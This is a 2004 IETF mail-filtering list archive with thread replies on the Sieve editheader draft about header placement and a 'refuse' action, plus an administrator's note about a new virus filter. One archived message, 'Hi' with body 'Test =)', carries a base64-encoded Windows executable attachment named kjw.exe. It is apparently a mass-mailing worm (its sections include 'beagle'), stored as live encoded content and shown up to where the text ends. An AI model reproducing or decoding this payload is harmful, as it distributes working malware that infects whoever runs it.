X-Mailer: Mulberry/3.1.1 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on  darius.cyrusoft.com
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi Cyrus,

--On Tuesday, January 20, 2004 15:10 -0500 Cyrus Daboo <[e-mail]> 
wrote:

| but I think its reasonable that append is the default.

I meant to say that I think it is reasonable that append (:last) is 
available as an option - I don't want to argue that it should be the 
default.

I personally would likely always use :last as I frequently have to examine 
the chain of Received headers for debugging purposes and having other 
headers interspersed would be annoying. Right now the CMU sieve 
implementation does add an X-CMU-Sieve header and that does appear before 
the final delivery Received header as their SIEVE implementation sits 
between SMTP and LMPT.

-- 
Cyrus Daboo



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKAqib083406; Tue, 20 Jan 2004 12:10:52 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KKAq1U083405; Tue, 20 Jan 2004 12:10:52 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KKApib083397 for <[e-mail]>; Tue, 20 Jan 2004 12:10:51 -0800 (PST) (envelope-from [e-mail])
Received: from socrates.cyrusoft.com (socrates.cyrusoft.com [63.163.82.24]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i0KKAk0X024954 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Jan 2004 15:10:48 -0500
Date: Tue, 20 Jan 2004 15:10:59 -0500
From: Cyrus Daboo <[e-mail]>
To: "Matthew Elvey (FM)" <[e-mail]>, [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action
Message-ID: <[e-mail]>
In-Reply-To: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
X-Mailer: Mulberry/3.1.1 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on  darius.cyrusoft.com
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi Matthew,

--On Tuesday, January 20, 2004 11:49 -0800 "Matthew Elvey (FM)" 
<[e-mail]> wrote:

| Let's keep it simple.  Wow, I'm not aware there's good precedent for MUAs
| appending instead of prepending.  I thought they prepended, like good
| MTAs do. I'd like to see addheader put the added header at the top, where
| new headers are *supposed* to go (or so I thought), anyone have a
| compelling real case where :last is needed?

Most of the mailing list software I have come across appends List- headers 
rather than prepends them. Same thing for anti-spam/anti-virus warnings 
etc. One can argue whether those types of tools are MUAs or MTAs by some 
definition, but I think its reasonable that append is the default.

-- 
Cyrus Daboo



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KJxXib082349; Tue, 20 Jan 2004 11:59:33 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KJxXe7082347; Tue, 20 Jan 2004 11:59:33 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from [63.202.92.157] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KJxVic082340 for <[e-mail]>; Tue, 20 Jan 2004 11:59:32 -0800 (PST) (envelope-from [e-mail])
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020422bc333907a580@[63.202.92.157]>
X-Habeas-SWE-1: winter into spring
X-Habeas-SWE-2: brightly anticipated
X-Habeas-SWE-3: like Habeas SWE (tm)
X-Habeas-SWE-4: Copyright 2002 Habeas (tm)
X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this
X-Habeas-SWE-6: email in exchange for a license for this Habeas
X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant
X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this
X-Habeas-SWE-9: mark in spam to <http://www.habeas.com/report>.
Date: Tue, 20 Jan 2004 11:59:30 -0800
To: [e-mail]
From: Paul Hoffman / IMC <[e-mail]>
Subject: ADMINISTRIVIA: Hopefully no more Windows viruses
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Greetings again. I have just installed a procmail filter on this list 
that should prevent Windows viruses from getting to the mailing list. 
It won't prevent them all, so you need to continue to remember not to 
execute stuff that you receive from this (or any!) mailing list.

--Paul Hoffman, Director
--Internet Mail Consortium



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KJnEib081581; Tue, 20 Jan 2004 11:49:14 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0KJnErN081580; Tue, 20 Jan 2004 11:49:14 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0KJnCib081571 for <[e-mail]>; Tue, 20 Jan 2004 11:49:13 -0800 (PST) (envelope-from [e-mail])
X-Sasl-enc: wkaBgXdILaONl5ZEi+4Ksg 1074628152
Received: from elvey.fastmail.fm (adsl-63-195-86-147.dsl.snfc21.pacbell.net [63.195.86.147]) by mail.messagingengine.com (Postfix) with ESMTP id 84AEA4B09FD for <[e-mail]>; Tue, 20 Jan 2004 14:49:11 -0500 (EST)
Message-ID: <[e-mail]>
Date: Tue, 20 Jan 2004 11:49:11 -0800
From: "Matthew Elvey (FM)" <[e-mail]>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: draft-degener-sieve-editheader-01.txt; "refuse" action
References: <[e-mail]> <[e-mail]> <[e-mail]>
In-Reply-To: <[e-mail]>
X-Habeas-SWE-1: winter into spring
X-Habeas-SWE-2: brightly anticipated
X-Habeas-SWE-3: like Habeas SWE (tm)
X-Habeas-SWE-4: Copyright 2002 Habeas (tm)
X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this
X-Habeas-SWE-6: email in exchange for a license for this Habeas
X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant
X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this
X-Habeas-SWE-9: mark in spam to <http://www.habeas.com/report/>.
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

My belated two cents - just that; I don't feel strongly; no responses 
necessary.

Let's keep it simple.  Wow, I'm not aware there's good precedent for 
MUAs appending instead of prepending.  I thought they prepended, like 
good MTAs do. I'd like to see addheader put the added header at the top, 
where new headers are *supposed* to go (or so I thought), anyone have a 
compelling real case where :last is needed?

I'd like to see this go away:

>    A message modified by addheader or deleteheader MUST NOT
>    be considered the same as the original message unless it
>    matches the original message exactly.


I'd like to see replaceheader reconsidered for the spec, or at least any 
objections to it made public; the standards-setting process must be public.

This does apply the KISS principle because it'll mean an otherwise 
imminent vendor-specific implementation will be unnecessary.
******
FYI: Progress is being made on the draft for the "refuse" action; Alexey 
and I should post a draft soon; we've worked through a bunch of issues 
already.


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0K9i6ib043356; Tue, 20 Jan 2004 01:44:06 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0K9i6g0043354; Tue, 20 Jan 2004 01:44:06 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from os ([61.11.18.143]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0K9i1ic043318 for <[e-mail]>; Tue, 20 Jan 2004 01:44:03 -0800 (PST) (envelope-from [e-mail])
Date: Tue, 20 Jan 2004 15:13:19 +0530
To: [e-mail]
Subject: Hi
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--------403654051214462"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-mta-filters/mail-archive/>
List-ID: <ietf-mta-filters.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

----------403654051214462
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Test =)
ptexgfqjwdms
--
Test, yep.

----------403654051214462
Content-Type: application/x-msdownload; name="fys.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="kjw.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA
AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA
AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA
AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
